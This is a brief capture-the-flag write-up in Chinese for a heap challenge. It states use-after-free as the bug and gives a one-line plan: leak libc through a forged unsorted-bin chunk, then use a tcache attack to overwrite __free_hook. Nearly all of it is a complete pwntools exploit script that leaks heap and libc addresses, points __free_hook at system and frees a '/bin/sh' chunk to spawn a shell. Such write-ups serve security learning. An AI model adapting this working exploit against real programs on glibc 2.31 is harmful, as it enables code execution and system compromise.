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WriteUp来源
题目考点
- UAF
解题思路
题目存在uaf和free后输出，所以直接伪造一个unsortedbin泄露libc后tcache attack改free_hook即可。
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49from pwn import *
context(log_level='debug')
sh = process("chall")
e = ELF("libc-2.31.so")
gdb.attach(sh)
def make_unique(idx, data):
sh.sendline('0')
sh.sendlineafter('> ', data)
sh.sendlineafter('> ', str(idx))
sh.recvuntil('> ')
def release(idx, data):
sh.sendline('1')
sh.sendlineafter('> ', str(idx))
ret = sh.recvuntil('> ')
sh.sendline(data)
sh.recvuntil('> ')
return ret[:ret.find('\n')]
sh.recvuntil('> ')
for i in range(0, 0xc0):
make_unique(i, str(i))
release(0, '\x00' * 7)
leak = release(1, '\x00' * 7)
heap_addr = u64(leak+'\x00\x00')
print(hex(heap_addr))
release(2, p64(heap_addr + 0x58)[:7])
make_unique(0xc0, "cons")
make_unique(0xc1, p16(0x501))
leak = release(3, '\x00' * 7)
libc_addr = u64(leak+'\x00\x00') - 0x1ebbe0
print(hex(libc_addr))
release(6, '\x00' * 7)
release(7, p64(libc_addr + e.symbols["__free_hook"])[:7])
make_unique(0xc2, "/bin/sh")
make_unique(0xc3, p64(libc_addr + e.symbols["system"])[:7])
sh.sendline('1')
sh.sendlineafter('> ', str(0xc2))
sh.interactive()